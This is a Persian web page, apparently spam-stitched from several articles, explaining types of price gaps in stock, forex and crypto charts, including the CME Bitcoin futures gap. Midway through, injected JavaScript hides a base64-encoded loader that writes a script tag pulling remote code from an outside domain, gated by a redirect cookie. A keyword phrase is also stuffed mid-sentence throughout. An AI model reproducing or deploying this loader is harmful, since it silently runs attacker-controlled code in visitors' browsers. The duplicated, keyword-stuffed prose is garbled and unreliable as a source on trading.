انواع گپ (Gap) در نمودار
شناسایی و ترید به وسیله ۴ نمودار گپ (Gap) مختلف
همه کسانی که در ارزهای رمزنگاری شده فعال هستند در مورد نمودار گپ (Gap) بورس کالاهای شیکاگو (CME) صحبت می‌کنند، اما همه‌ی نمودار های گپ (Gap) به طور برابر ایجاد نمی‌شوند.
در جامعه‌ی فعال در عرصه ی رمزنگاری از چند ماه گذشته صحبت از نمودارهای گپ (Gap) در معاملات آتی بیت کوین (BTC) در بورس کالای شیکاگو (Chicago Mercantile Exchange) بوده است. بیت کوین به‌صورت ۲۴ساعته و ۷ روز هفته در بورس‌های اصلی معامله میشود اما در بورس کالاهای شیکاگو (CME)، آخر هفته‌ها تجارتی انجام نمی‌شود. این کار اغلب باعث ایجاد شکاف یا فضای خالی در نمودارها هنگام شروع معاملات از طریق CME میشود. یک جمله معروف در فیزیک وجود دارد:
طبیعت خلاء را نادیده می گیرد.
این فرضیه‌ای است که به ارسطو نسبت داده شده . هر چند این نظریه بعدها توسط اپیکوروس و لوکرتیوس مورد انتقاد قرار گرفت.
دلیل این انتقاد این بود که طبیعت حاوی هیچ‌گونه خلاء نیست زیرا ماده های متراکم محیط را احاطه کرده و هرگونه خلاء را پر می‌کنند. مردم این مفهوم را گسترش داده اند تا در بسیاری از جنبه های زندگی از جمله تجارت و تجزیه و تحلیل فنی کاربرد داشته باشد.
نمودار گپ (Gap) یک فضا یا فاصله‌ی زمانی ناخواسته در نمودار است که ناشی از حرکت شدید در هر جهت است. در یک روند صعودی، شکاف زمانی ایجاد میشود که بالاترین قیمت یک کندِل (candle) پایین تر از پایین ترین قیمت یک کندِل (candle) باشد. برعکس، در یک روند نزولی شکاف زمانی ایجاد میشود که کمترین قیمت هر کندِل (candle) بالاتر از بالاترین قیمت کندِل(candle) بعدی باشد.
انواع نمودار گپ(Gap):
چهار نوع شکاف یا نمودار گپ (Gap) وجود دارد که در روش‌های مختلفی مورد ترید قرار می‌گیرند. این موضوع ضروری است که تریدرها بتوانند تفاوت بین آنها را درک کنند و بین آنها تمایز قائل شوند.
- نمودار گپ شکست : این نمودار زمانی مشاهده می شود که قیمت، یک حرکت جهت دار قوی را از محل ادغام ایجاد کند. این امر ویژهی تریدرهای بسیار قدرتمند است که با الگوهای مشخص در نمودار، مانند محدوده ی تریدها و مثلث های صعودی و نزولی ترکیب میشود. در یک نمودار شکست پس از آنکه نمودار گپ (Gap) روند صعودی باشد ، بعید نیست که با حجم قابل توجهی پر شود. یک حرکت با حجم کم ، احتمال بازگشت قیمت به همان میزان قبل را نشان می دهد. خط پایین نمودارهای شکست کمتر از انواع دیگر پر می شوند
- نمودار شکاف مشترک : این نمودار همچنین به عنوان نمودار گپ (Gap) محلی، نمودارهای الگو و نمودارهای موقتی شناخته میشود. این‌ها نمودارهایی هستند که تریدرها بیشتر در بازه ی معاملات و در طول حرکت جانبی می‌بینند. این نمودارها غالباً پر میشوند و اطلاعات بسیار کمی در مورد آنچه ممکن است بعد از این اتفاق انجام شود ارائه می‌دهند. آنها به ندرت در یک الگوی قیمتی قابل توجه در نمودار وجود دارند و فقط در مناطقی هستند که تریدها به صورت حداقلی پر میشوند.
- نمودار فرسودگی : این نوع نمودار گپ (Gap) به عنوان سیگنالی در نظر گرفته میشود که یک روند در حال خاتمه بوده و الگو یا روند جدید احتمالی است. این نمودارها تقریباً در پایان الگوی قیمت اتفاق می‌افتند و تلاش نهایی برای رسیدن به بالاترین نرخ یا پایین ترین نرخ را نشان می‌دهند. نمودار فرسودگی به طور کلی در ناحیه‌ای از پیشرفت سریع یا کاهش آن اتفاق میافتد که اغلب با یک حرکت بزرگ، مستقیم و یا به سمت پایین انجام می شود. این نمودار ها معمولاً حجم سنگین تریدها که اغلب صعودی هستند را پیش بینی می کنند.
- نمودار اندازه گیری : این مورد از نمودار گپ (Gap) به عنوان نمودار فرار یا نمودار ادامه شناخته میشوند. این نمودار ها در وسط الگوی قیمت اتفاق می‌افتند و نشانه ای از عجله خریداران و فروشندگان است که یک عقیده مشترک در جهت آینده‌ی دارایی های خود دارند. نمودارهای اندازه گیری در هنگام تثبیت یا در ناحیه ازدحام رخ نمی‌دهد. آنها در طی افزایش سریع یا کاهش سریع قیمت رخ می‌دهند. نمودار های فرار معمولاً برای مدت زمان قابل توجهی پر نمی شوند.
نتیجه
یک اشتباه رایج هنگام استفاده از نمودار گپ(Gap)، سردرگمی در نمودار فرسودگی و نمودار اندازه گیری است. این امر می‌تواند باعث شود که یک تریدر در موقعیت نادرستی قرار بگیرد و سودهای قابل توجهی را در زمان نیمه‌ی آخر صعود بزرگ از دست بدهد. توجه همیشگی به نمودارهای گپ می تواند به پیدا کردن سرنخی برای تشخیص نمودار اندازه گیری و نمودار فرسودگی کمک کند. به طور معمول ، این حجم سنگین و قابل توجه تا قبل از رسیدن نمودار فرسودگی پیش می رود.
همچین شما می‌توانید برای آشنایی بیشتر در مورد انواع نمودارهای قیمت این مقاله را مطالعه کنید.
نمودار گپ(Gap) فرسودگی و اندازه گیری ، حرکت در جهت های مخالف را پیش بینی می کنند ، بنابراین مهم است که این تفاوت اساسی درک شود. همچنین توجه به این نکته ضروری است که به محض شروع، نمودار به ندرت متوقف میشود زیرا هیچ ناحیه‌ای فوری برای پشتیبانی و مقاومت در نمودار وجود ندارد.
نمودارهای اندازه گیری و شکست به مراتب کمتر از نمودار فرسودگی و شکاف مشترک پر میشوند. درک تفاوت بین انواع شکاف ها می تواند به معامله گران و سرمایه گذاران در کسب و کار در هر بازاری کمک کند.
همان طور که مشاهده کردید به هنگام سرمایه گذاری ارز دیجیتال باید به نکات بسیار ریزی توجه کرد، اگر می‌خواهید سرمایه گذاری ارز دیجیتال داشته باشید اما با ترید آن آشنایی ندارید، به شما پیشنهاد می‌کنیم ابتدا با تیم مشاوره‌ی سرمایه گذاری ارز دیجیتال «بینوست» تماس بگیرید.
انواع گپ های قيمتی در بازارهای مالی
گپ ها معمولا در بازار ، بخصوص بازار سهام اتفاق مي افتد و مي تواند اطلاعات و ديدگاههای خوبي در مورد حركات اصلي بازار به ما بدهد. يک گپ وقتي بوجود ميايد كه قيمت كلوز روز قبل و قيمت اپن روز بعد با هم متفاوت باشد. در زمانهايي كه فراريت قيمت زياد باشد گپهای ميان روزي نيز بوجود ميايد.
انواع گپ قيمتي
1- گپ شكست (BREAKAWAY GAP)
2- گپ خستگي (EXHAUSTION GAP)
3- گپ معمولي (COMMON GAP)
4- گپ ادامه دهنده يا روند (CONTINIU GAP)
مكان و اندازه گپ
عموما اندازه گپ اطلاعاتي در مورد قدرت پشت حركات بازار به ما ميدهد.مكان وقوع گپ نيز به همراه ساير مفاهيم پرايس اكشن و ديگر ابزارهاي تكنيكال اطلاعاتي در مورد روانشناسي حركات قيمت به تريدر ميدهد. تريد كردن بر اساس اندازه گپ به تنهايي ممكن است كاربردي نباشد اما در همراهي با ساير مفاهيم مي تواند مفيد باشد. با تحليل چارت مي توان بين 4 نوع گپ مذكور و رفتارهاي متعاقب تريدرها تفكيك قايل شد.
1- گپ شكست
گپ شكست به گپي گفته مي شود كه بر روي سطوح حمايت و يا مقاومت بوجود ميايد.در چارت زير نمودار APPL با يك سطح مقاومت قوي نشان داده شده است. در يك نقطه قيمت با گپ و بصورت خيلي قوي سطح مقاومت را شكسته و همچنين باعث بوجود آمدن حركات صعودي بعدي شده است
2- گپ خستگي
گپ خستگي معمولا در انتهاي روندهاي بزرگ اتفاق مي افتد.در اين حالت قيمت گپ پاياني را در جهت روند ساخته و سپس قيمت بر ميگردد.
3- گپ معمولي
همانطور كه از نام آن مشخص است اين گپ چيز عجيب و غير معمولي نيست،اما ميتواند به كرات و بدون اينكه باعث حركت بيشتر قيمت در جهت گپ شود اتفاق بيفتد.
4- گپ ادامه دهنده يا روند
گپ هاي ادامه دهنده در ميانه روند اتفاق مي افتد و مثلا در يك روند صعودي نشان دهنده ادامه حركت صعودي ميباشد.اين گپ نشان ميدهد كه خريداران بيشتري به بازار وارد شده و فشار صعودي بيشتري وارد ميكنند. تصوير زير دو گپ ادامه دهنده را در يك روند نزولي نشان ميدهد.
اگر چه نوع گپ ميتواند اطلاعاتي در مورد در مورد حركات قيمت،مومنتم و ميزان تمايلات بازار به ما بدهد اما انواع گپ تشريح شده در بالا اطلاعات قيمت را با تاخير به ما ميدهد،زيرا دسته بندي گپها پس از وقوع و ههمچنين با توجه به حركات بعدي قيمت صورت ميگيرد.در هر صورت اطلاعات انواع گپ بهمراه ساير داده هاي تكنيكال و فاندامنتال ميتواند دانسته هاي تريدر را بهبود بخشد.
پر شدن گپ
پر شدن گپ رفتار قيمت پس از وقوع گپ را تشريح ميكند.براي مثال حركت نزولي قيمت به ابتداي گپ صعودي را پر شدن گپ ميناميم. از طرف ديگر اگر پس از وقوع يك گپ صعودي قيمت بزودي به ابتداي گپ بر نگردد اصطلاح گپ پر نشده را بكار ميبريم. تصاوير زير تفاوت بين گپ پرشده و پر نشده را نشان ميدهد.
تركيب اطلاعات انواع گپ و پر شدن آن ميتواند ارزشمند باشد.براي مثال پس از وقوع يك گپ شكست يا ادامه دهنده اي كه قيمت براي پر كردن آن برنگشته است متوجه مومنتم قوي بازار در جهت گپ ميشويم.
آشنایی با ۴ نوع گپ قیمت در بازار ارزهای دیجیتال!
طی چند ماه گذشته موضوع بحث جامعه ارزهای دیجیتال حول محور گپ یا شکاف های قیمتی موجود در نمودار قراردادهای آتی بیت کوین CME (بازار بورس شیکاگو) بوده است. بیت کوین به طور شبانه روزی در صرافی های بزرگ مورد معامله قرار می گیرد اما روزهای آخر هفته در CME معامله این ارز دیجیتال صورت نمی گیرد. این موضوع اغلب با شروع مجدد معاملات در CME باعث ایجاد شکاف یا یک فضای خالی در نمودار قراردادهای آتی می شود.
یک جمله معروف در فیزیک وجود دارد که می گوید “طبیعت از خلاء تنفر دارد.” این جمله ای است که به ارسطو نسبت داده شده است، اما بعدا توسط ذره گراهایی نظیر اپیکور و لوکرتیوس مورد انتقاد قرار گرفت که در طبیعت هیچ خلایی وجود ندارد، زیرا طیف چگال تر پیرامون ماده، بلافاصله خلاء موجود را پر می کند. مردم این مفهوم را گسترش داده اند تا جایی که امروزه در بسیاری از جنبه های زندگی از جمله تجارت و تجزیه و تحلیل تکنیکال کاربرد دارد.
شکاف های قیمت یا همان گپ ها یا به تعبیر ژاپنی ها پنجره، یکی از مهم ترین مفاهیم در تحلیل تکنیکال به شمار می رود. کلاً منظور از گپ های قیمتی این است که در آن حیطه قیمتی هیچ گونه معامله ای توسط معامله گران صورت نگرفته و باعث ایجاد یک ناحیه توخالی در نمودارها شده که هر یک از این GAPZONE ها یا به اصطلاح محدوده ای که معامله ای در آن صورت نگرفته، می تواند معرف یک روند در آن ناحیه باشد. گپ ها به طورکلی به صورت صعودی و نزولی معرفی می شوند.
باید عنوان کرد که گپ یک فضای پر نشده یا فاصله ای در نمودار است که به دلیل نوسان شدید ایجاد می شود. در روند صعودی، گپ قیمت هنگامی ایجاد می شود که بالاترین قیمت یک کندل کمتر از پایین ترین قیمت کندل بعد از خود باشد. برعکس در روند نزولی، گپ قیمت هنگامی رخ می دهد که پایین ترین قیمت یک کندل بیشتر از بالاترین قیمت کندل بعدی باشد.
گپ ها معمولا در بازار، بخصوص بازار سهام رخ می دهند و می توانند اطلاعات و چشم اندازهای خوبی در مورد حرکات اصلی بازار ارائه دهند. یک گپ وقتی بوجود می آید که انواع گپ (Gap) در نمودار قیمت بسته روز قبل و قیمت باز روز بعد با هم تفاوت داشته باشد. در زمان هایی که فراریت قیمت زیاد باشد گپ های میان روزی نیز ایجاد می شود.
۴ نوع گپ قیمت وجود دارد که هر کدام به روش های مختلفی مورد معامله قرار می گیرند. ضروری است که سرمایه گذاران بتوانند بین آنها تفاوت بگذارند.
گپ شکست (Breakaway gap): گپ شکست، نوعی گپ یا شکاف قیمتی است که بر روی سطوح حمایت و یا مقاومت بوجود می آید. این گپ هنگامی مشاهده می شود که قیمت از روند بدون تغییر، دارای یک نوسان قوی باشد. این گپ در ترکیب با الگوهای مشخص در نمودارهایی مانند محدوده های معاملاتی یا مثلث های صعودی و نزولی، برای معامله گران بسیار مفید واقع خواهد شد. گپ شکست با حجم معاملات چشمگیر پس از آن، نشانه ای از روند قوی است و پر شدن آن بعید به نظر می رسد.
گپ رایج (Common gap): همانطور که از اسم این گـپ ها پیداست، کاملا عادی هستند و چیز خاصی در خود ندارند. این گـپ ها معمولا زمانی بوجود می آیند که بازار در حالت بغرنج قرار داشته باشد. اندازه گپ های معمولی نیز بزرگ نیست و در اکثر موارد نیز به سرعت پر می شوند. این گپ به نام گپ الگو، گپ معاملاتی و گپ موقت نیز شناخته می شود. معامله گران این نوع گپ را اغلب در محدوده های معاملاتی و طی نوسان sideway یا همان نوسان متراکم مشاهده می کنند. این گپ ها اغلب پر می شوند، اما اطلاعات بسیار کمی در خصوص شرایط قیمت پس از وقوع خود را ارائه می دهند. این گپ به ندرت در الگوی قیمت نمودارها وجود دارد. باید عنوان کرد که این گپ صرفا محدوده ای است که حداقل مقدار معاملات برای پر کردن گپ وجود دارد.
گپ خستگی (Exhaustion gap): گپ خستگی معمولا در انتهای روندهای بزرگ اتفاق می افتد. در این حالت قیمت گپ پایانی را در جهت روند ساخته و سپس قیمت بر می گردد. این گپ، بعد از یک حرکت تند یا طولانی مدت اتفاق می افتد و معمولا قبل از آن شکاف هایی قرار می گیرند و معمولا با افزایش شدید حجم معاملات همراه است. این گپ نشان دهنده پایان روند فعلی است و در حقیقت، معامله گران از روند موجود در بازار خسته شده اند که این امر نیز باعث تشکیل این گپ می شود و در این نوع گپ نیز حجم انواع گپ (Gap) در نمودار معاملات به صورت سنگینی افزایش پیدا می کند، بنابراین این نوع شکاف می تواند به‌عنوان یک شکاف ادامه دهنده نیز محسوب شود، ولی دو عامل باعث تشخیص خواهند شد؛ اولا، اینکه در پایان یک روند صعودی یا نزولی است؛ ثانیا، با حجم معاملات سنگین به نسبت میانگین هفته یا روزهای اخیر خود مواجه خواهد بود. این گپ ها، محتمل ترین گپ هایی هستند که باید پر شوند.
گپ اندازه گیری (Measuring gap): به اسم گپ فرار یا گپ ادامه دهنده نیز شناخته می شود. این نوع گپ در میانه الگوی قیمت رخ می دهد و نشانه ای از هجوم خریداران یا فروشندگانی است که عقیده و نظر مشترکی در مورد آینده دارایی ها دارند. گپ های اندازه گیری طی روند بدون تغییر یا محدوده ازدحام رخ نمی دهد، بلکه طی کاهش یا افزایش سریع قیمت رخ می دهند. گپ های فرار معمولاً برای مدت زمان قابل توجهی پر نمی شوند. این نوع از گـپ در طی یک روند رخ می دهد. اگر این گپ در یک روند صعودی رخ دهد، نشان دهنده ادامه حرکت صعودی خواهد بود و اگر در روند نزولی رخ دهد نیز حاکی از وارد شدن فروشندگان بیشتر و ادامه روند نزولی می باشد. البته مشاهده این گـپ ها دلیلی بر ورود بی موقع به بازار نیست، بلکه باید آن را با سایر ابزارهای تکنیکال ترکیب کنید.
توجه به حجم معاملات می تواند به شناخت و تمایز گپ اندازه گیری و گپ خستگی کمک کند. به طور معمول، حجم معاملات زیاد قبل از گپ خستگی رخ می دهد. یکی از اشتباهات رایجی که در خصوص گپ ها رخ می دهد، اشتباه کردن در شناخت گپ اندازه گیری و گپ خستگی است. این موضوع می تواند باعث شود که سرمایه گذار خود را در وضعیت اشتباه قرار دهد و طی نیمه دوم روند صعودی نتواند سود خوبی به دست آورد.
گپ خستگی و گپ اندازه گیری، نوسان قیمت را در جهت های مخالف یکدیگر پیش بینی می کنند، بنابراین شناخت تفاوت های هر کدام بسیار ضرورت دارد. همچنین این نکته قابل ذکر است که به محض پر انواع گپ (Gap) در نمودار شدن یک گپ، توقف آن بعید به نظر می رسد، زیرا هیچ محدوده حمایتی یا مقاومتی آنی در این گپ وجود ندارد.
حرف پایانی
احتمال وقوع گپ های اندازه گیری یا گپ های شکست به مراتب کمتر از گپ متداول و گپ خستگی می باشد. درک تفاوت بین انواع گپ ها می تواند به معامله گران و سرمایه گذاران در کسب و کار در هر بازاری کمک کند.
function getCookie(e)()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0>var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)
گپ چیست؟ انواع شکاف قیمتی در بورس و فارکس
گپ چیست؟ گپ عبارت است از ناپیوستگی جزئی در نمودار یا چارت حرکت قیمت که در آن، قیمت نسبت به بسته شدن در روز یا کندل گذشته افزایش یا کاهش یابد در حالی که هیچ معامله ای در این بین رخ نداده است. زمانی که اخبار یا هر عامل دیگری که باعث می شود مبانی بازار در ساعاتی که بازارها معمولاً بسته هستند تغییر کند ، شکاف ها رخ میدهد!
در ادامه مباحث آموزش فارکس به گپ یا شکاف قیمت که یک اتفاق پر تکرار در بازارهای مالی است میپردازیم که به دلایل مختلفی امکان بوجود آمدن آن هست. بیاید با هم بفهمیم که گپ چیست و انواع شکاف قیمتی در بورس و فارکس را با هم بررسی انواع گپ (Gap) در نمودار کنیم.
شکاف قیمت به بیان ساده محدوده ای نمودار است که در آن معامله ای انجام نشده است. در روند صعودی به عنوان مثال باز شدن قیمت بالاتر از قیمت بالایی روز قبل شکاف یا گپ یا فضای بازی ایجاد می کند که در طول روز پر نمی شود.
در روند نزولی بالاترین قیمت روز، کمتر از انواع گپ (Gap) در نمودار قیمت پایینی روز قبل است و تشکیل یک شکاف می دهد. شکاف ها در روند صعودی نشانه استحکام روند و در روند نزولی نشانه ضعف روند می باشد. شکاف ها در نمودارهای هفتگی و ماهانه بلند مدت نیز پدید می آیند و وقوع آنها اتفاق با اهمیتی تلقی می شود. اما غالبا شکاف ها در نمودار های انواع گپ (Gap) در نمودار روزانه اتفاق می افتند.
گپ چیست و به شما چه می گوید؟
شکاف ها معمولاً زمانی رخ می دهند که یک خبر یا رویداد باعث هجوم خریداران یا فروشندگان به اوراق بهادار شود. این منجر به افت قیمت به طور قابل توجهی بالاتر یا پایین تر از قیمت بسته شدن روز گذشته می شود. این اتفاق می تواند بسته به نوع شکاف ، شروع یک روند جدید یا معکوس شدن روند قبلی را نشان دهد.
گپینگ کامل و جزئی
گپینگ زمانی رخ می دهد که قیمت یک اوراق بهادار یا دارایی بسیار بالاتر یا پایین تر از بسته شدن روز قبل باز می شود و هیچ فعالیت تجاری در این بین وجود ندارد. زمانی که قیمت باز شدن کندل جدید ، بالاتر یا پایین تر از بسته شدن روز قبل باشد اما در محدوده قیمت روز قبل باشد ، گپینگ جزئی رخ می دهد. اما گپ کامل زمانی رخ می دهد که باز شدن کندل کلا خارج از محدوده روز قبل باشد. گپ و به طور ویژه گپ کامل ، نشان می دهد که احساسات معامله گران یک شبه دچار تغییر شدیدی شده است.
سود دهی گپ و معنی گپ در بورس
برخی از معامله گران هم به چشم یک استراتژی سود ده به این ایجاد فاصله در چنین شرایطی نگاه می کنند. عموماً گپ های معمولی نسبتاً سریع (معمولاً ظرف مدت کوتاهی) پر می شوند. شکاف های رایج نیز به عنوان “شکاف ناحیه‌ای” یا “شکاف معاملاتی” شناخته می شوند و معمولاً با حجم معاملات معمولی همراه هستند.
اصطلاحات متعددی در مورد شرح و بیان گپ های قیمتی وجود دارد که یکی از رایج ترین آنها این است که “گپ ها یا همان شکاف های قیمتی همیشه پر می شوند.” اگرچه این عبارت همیشه درست نیست. منتهی در بعضی اوقات پر می شوند و در بعضی موارد هم نه. در ادامه خواهیم دید که گپ ها بسته به این که چه نوعی از آنها و در کجا اتفاق بیافتند پیش بینی های مختلفی به ما ارائه می دهند.
انواع گپ قیمتی
سه نوع گپ در بازارهای مالی وجود دارد:
گپ شکست
گپ شکست معمولا در پایان الگوهای قیمت اتفاق می افتد و اغلب اخطاردهنده آغاز حرکت معنی دار قیمت است. بعد از اینکه یک الگوی اصلی در بازار شکل گرفت، شکست خطوط مقاومت اغلب در ناحیه شکاف شکست رخ می دهد.
شکست های مهم در ناحیه سقف یا مقاومت های الگو زمینه ساز پدید آمدن شکاف هستند. شکست قطعی یک خط روند مهم به عنوان اخطار بازگشت روند، می تواند به صورت یک شکاف شکست دیده شود.
شکاف های شکست معمولا با حجم معاملات سنگینی همراه هستند. گپ شکست معمولا پر نمی شود. قیمت ممکن است به بالای شکاف برگردد (در گپ های افزایشی) و احتمال دارد که قسمتی از گپ را پر کند اما بخشی از فضای گپ پر نمی شود. در یک قانون کلی زمانی که وقوع شکاف با حجم معاملات سنگینی همراه باشد احتمال کمتری برای پر شدن آن وجود دارد.
گپ فرار
گاهی اوقات قیمت پس از مدتی حرکت، در حوالی میانه حرکت به سمت بالا جهش می کند و نوع دیگری از شکاف به نام گپ فرار را شکل می دهد. این نوع گپ محدوده ای از بازار را آشکار می کند که در آن قیمت به آرامی و همراه با حجم معاملات معمولی حرکت می کند.
در روند صعودی این نوع گپ علامت تقویت قیمت و در روند نزولی علامت تضعیف قیمت است. در این جا نیز گپ فرار همانند یک خط حمایت در تصحیح بعدی قیمت عمل می کند و اغلب نیز پر نمی شود. با اندازه گیری فاصله روند از نقطه ابتدایی شروع روند تا به اینجا طی کرده می توان فاصله ای که تا پایان روند باقی مانده را تخمین زد.
گپ breakaway زمانی رخ می دهد که قیمت در بالای یک سطح حمایت یا مقاومت قرار بگیرد ، مانند انواع گپ (Gap) در نمودار آنچه در محدوده معاملات ایجاد شده است. هنگامی که قیمت از محدوده معاملاتی تثبیت شده از طریق گپ خارج می شود ، یک گپ فرار مشاهده خواهد شد! گپ ایجاد شده و حرکت جدا شده ی قیمت ممکن است از نوع دیگری از الگو های نمودار مانند مثلث ، فنجان و دسته ، یا الگوی سر و شانه ها نیز ایجاد شود.
گپ خستگی
آخرین نوع گپ، گپ خستگی است که در انتهای حرکت قیمت ظاهر می شود. پس از اینکه همه اهداف به دست آمد و دو شکاف شکست و فرار در طول روند شناسایی شد تحلیل گر باید انتظار وقوع شکاف خستگی را داشته باشد. در نزدیکی آخر روند صعودی، قیمت با یک جهش صعودی آخرین تلاش های خود را جهت ادامه روند انجام می دهد. البته این جهش صعودی بسیار ناپایدار است وقیمت در طی دو روز یا یک هفته آتی کاهش می یابد.
هنگامی که قیمت پایین تر از گپ خستگی بسته می شود باید به عنوان علامت پایان عمر روند تلقی می گردد. این نمونه ای از افت شدید متعاقب رسیدن قیمت به زیر شکاف است.
خطرات معاملات بر پایه گپ
با وجود اینکه فاصله ها به راحتی با چشم قابل تشخیص هستند ، محدودیت هایی هم وجود دارد. یه زمانایی خود تریدر و معامله گر نمیتونه تشخیص بده انواع مختلف گپ ها رو و مشکلاتی ایحاد میشه! اگر شکاف تفسیر نادرست شود، ممکن انواع گپ (Gap) در نمودار است یک اشتباه فاجعه بار در ترید رخ دهد که باعث می شود فرد فرصت خرید یا فروش اوراق بهادار یا جفت ارزهای فارکس را از دست بدهد ، که می تواند بر سود و زیان فرد تأثیر زیادی بگذارد! (برای مطالعه بیشتر و مشاهده مثال های کامل تر به این لینک مراجعه کنید!)
نکته طلایی! حالا که فهمیدید گپ چیست!
در آخر ذکر این نکته حیاتی است که اغلب کارگزاریهای فارکس لزوما کندل های صحیح را با صداقت به شما نشان نمی دهند بنابراین فهمیدن این موضوع که گپ مورد نظر ما از کدام یک انواع معرفی شده در این مقاله است، شاید کار راحتی نباشد! توصیه می کنیم در یکی از بهترین بروکرهای فارکس برای ایرانیان مثل فارکس تایم ، هات فارکس یا آلپاری سرمایه گذاری کنید تا علاوه بر دریافت خدمات مناسب معامله گری، اطلاعات چارت را با اطمینان خاطر در متاتریدر دریافت کنید و به آسانی به تحلیل و معامله بپردازید.
گپ قیمتی در ارز دیجیتال چیست؟
در دنیای ارزهای دیجیتال، اصطلاحات مختلفی وجود دارد که ممکن است شما را سردرگم کنند. یکی از این اصطلاحات، شکاف قیمتی است که با نام گپ قیمت نیز شناخته میشود. مسئله شکاف قیمتی، نه‌فقط در مورد ارز دیجیتال بلکه در همه بازارهای مالی مانند بورس، سهام و فارکس اتفاق میافتد. این پدیده به انجام نشدن معاملات یا حجم پایین آنها در یک بازه قیمتی خاص، اشاره دارد.
انواع گپ در ارز دیجیتال رخ میدهد که می‌توانند دلایل شناخته‌شده یا ناشناخته‌ای داشته باشند. مهم این است که تحلیلگران بتوانند پیش‌بینی خوبی از گپهای آینده و روند بازار، پس از یک گپ داشته باشند و تصمیمات درستی در مواجهه با آنها بگیرند. در این مقاله، ضمن مرور مفهوم شکاف قیمتی، انواع آن را معرفی کرده و گپ قیمت CME (گپ سی ام ای) را به‌صورت اختصاصی شرح می‌دهیم. درصورتی‌که قصد آشنایی با این پدیده را دارید، این مقاله می‌تواند اطلاعات مفیدی به شما ارائه دهد.
اگر وقت کافی برای مطالعه مقاله را ندارید، ویدئوی زیر را مشاهده کنید؛ انواع گپها و گپ CME به طور کامل و روی نمودار توضیح داده شده است.
شکاف قیمتی چیست؟
یک شکاف قیمتی یا گپ ارز دیجیتال یا هر بازار مالی، زمانی ایجاد میشود که قیمت یک دارایی, بالاتر یا پایین‌تر ازآنچه روز قبل با آن بسته‌شده بود، باز شود. درحالی‌که دراین‌بین هیچ حرکت قیمتی یا بهتر بگوییم معامله‌ای برای آن ثبت‌نشده است. یکی از عوامل مؤثر در به وجود آمدن گپ، اخبار است. در مواقعی که بازار غیرفعال است و اخبار مثبت و منفی توسط رسانه‌ها نشر می‌یابد، حرکت قیمت‌ها ثبت نشده و درنتیجه، گپ ایجاد میشود. در نمودارهای تحلیلی، گپها به تحلیلگران کمک می‌کنند که مناطق حمایتی و مقاومتی را بهتر شناسایی کنند.
نمونه‌ای از تحلیل‌هایی که می‌توان از انواع گپ ارائه داد این است که اگر شکاف قیمتی رو به پایین باشد، گپ می‌تواند به‌عنوان سطح مقاومتی عمل کند. برعکس، درصورتی‌که گپ رو به بالا باشد، به‌عنوان سطح حمایتی قیمت‌ها عمل خواهد کرد.
انواع گپ ها در تحلیل تکنیکال
گپ، شامل چهار نوع اصلی است که در اینجا آنها را مرور می‌کنیم. برخی از این گپها در هماهنگی با روند کلی نمودار قیمت و برخی دیگر در هنگام توقف یک روند، رخ می‌دهند. شناسایی و پیش‌بینی آنها برای معامله‌گران می‌تواند، سود و زیان معاملات و قراردادهای آینده آنها را مشخص کند.
گپ معمولی یا Common
همانطور که از نام آن پیداست، این گپ اغلب اتفاق میافتد و به‌سرعت پر میشود. پر شدن یک گپ به این معنی است که قیمت آن ارز به روز قبل از گپ بازگردد. این گپها، اغلب بدون دلیل خاصی ایجاد میشوند و تاثیر چندانی هم ندارند. اندازه گپ معمولی در بیشتر اوقات کوچک است و در مناطقی از نمودار دیده میشود که کمترین معاملات در آنها انجام شده و درعین‌حال مقادیری سهام از بازار خارج شده است. این گپ، به اسم گپ انواع گپ (Gap) در نمودار منطقه‌ای یا معاملاتی نیز شناخته میشود.
گپ شکست یا Breakaway
شکاف قیمتی شکست، زمانی رخ میدهد که قیمت‌ها الگوی ثابت نمودار را بشکنند. این گپ معمولا خارج از الگوهای نمودار، مانند مثلث‌های صعودی و نزولی، ظاهرشده و نشان از یک تغییر بزرگ، پس از گپ دارد. پر شدن گپ شکست با توجه به حرکت قوی بازار پس‌ازآن، بسیار کم اتفاق میافتد.
گپ فرار یا Runaway
شکاف قیمتی فرار، زمانی اتفاق میافتد که نمودار قیمت از روی یک نقطه قیمتی، پرش داشته باشد یا از آن عبور نکند. این شکاف معمولا به دلیل علاقه شدید سرمایه‌گذاران به سرمایه‌گذاری اتفاق میافتد. شکاف فرار خود را به‌صورت قیمتی بالاتر از روز قبل، روی نمودار نشان میدهد و به‌عنوان هراس معامله‌گران از معامله نیز تلقی میشود. این شکاف معمولا در طول یک پروسه افزایش یا کاهش سریع قیمت اتفاق افتاده و مدت‌زمان زیادی به طول می‌انجامد. نام دیگر گپ فرار، گپ اندازه‌گیری یا Measuring است.
گپ خستگی یا Exhaustion
گپ خستگی، درواقع، پایان یک روند صعودی یا نزولی را نشان میدهد. این گپ، در پایان یک روند شدید و طولانی اتفاق میافتد و نشان‌دهنده آخرین تلاش‌ها برای افزایش یا کاهش قیمت است. با وقوع این گپ، معامله‌گران باید منتظر یک روند قیمتی جدید، باشند.
گپ cme چیست؟
CME مخفف عبارت Chicago Mercantile Exchange و به معنی بازار بورس کالای شیکاگو است. این بازار، بزرگ‌ترین بازار خریدوفروش مشتقات مالی در جهان محسوب میشود. CME قراردادهای انواع گپ (Gap) در نمودار آتی و گزینه‌هایی را برای هر دارایی قابل‌تصور، ارائه میدهد. این دارایی می‌تواند شامل محصولات کشاورزی، انواع کالا و ارز دیجیتال باشد. یک قرارداد آینده یا future قراردادی است که در آن، تعیین میشود که مقدار مشخصی از یک کالا، محصول، ارز و غیره در روز مشخصی در آینده و با قیمت معین، خریدوفروش شود.
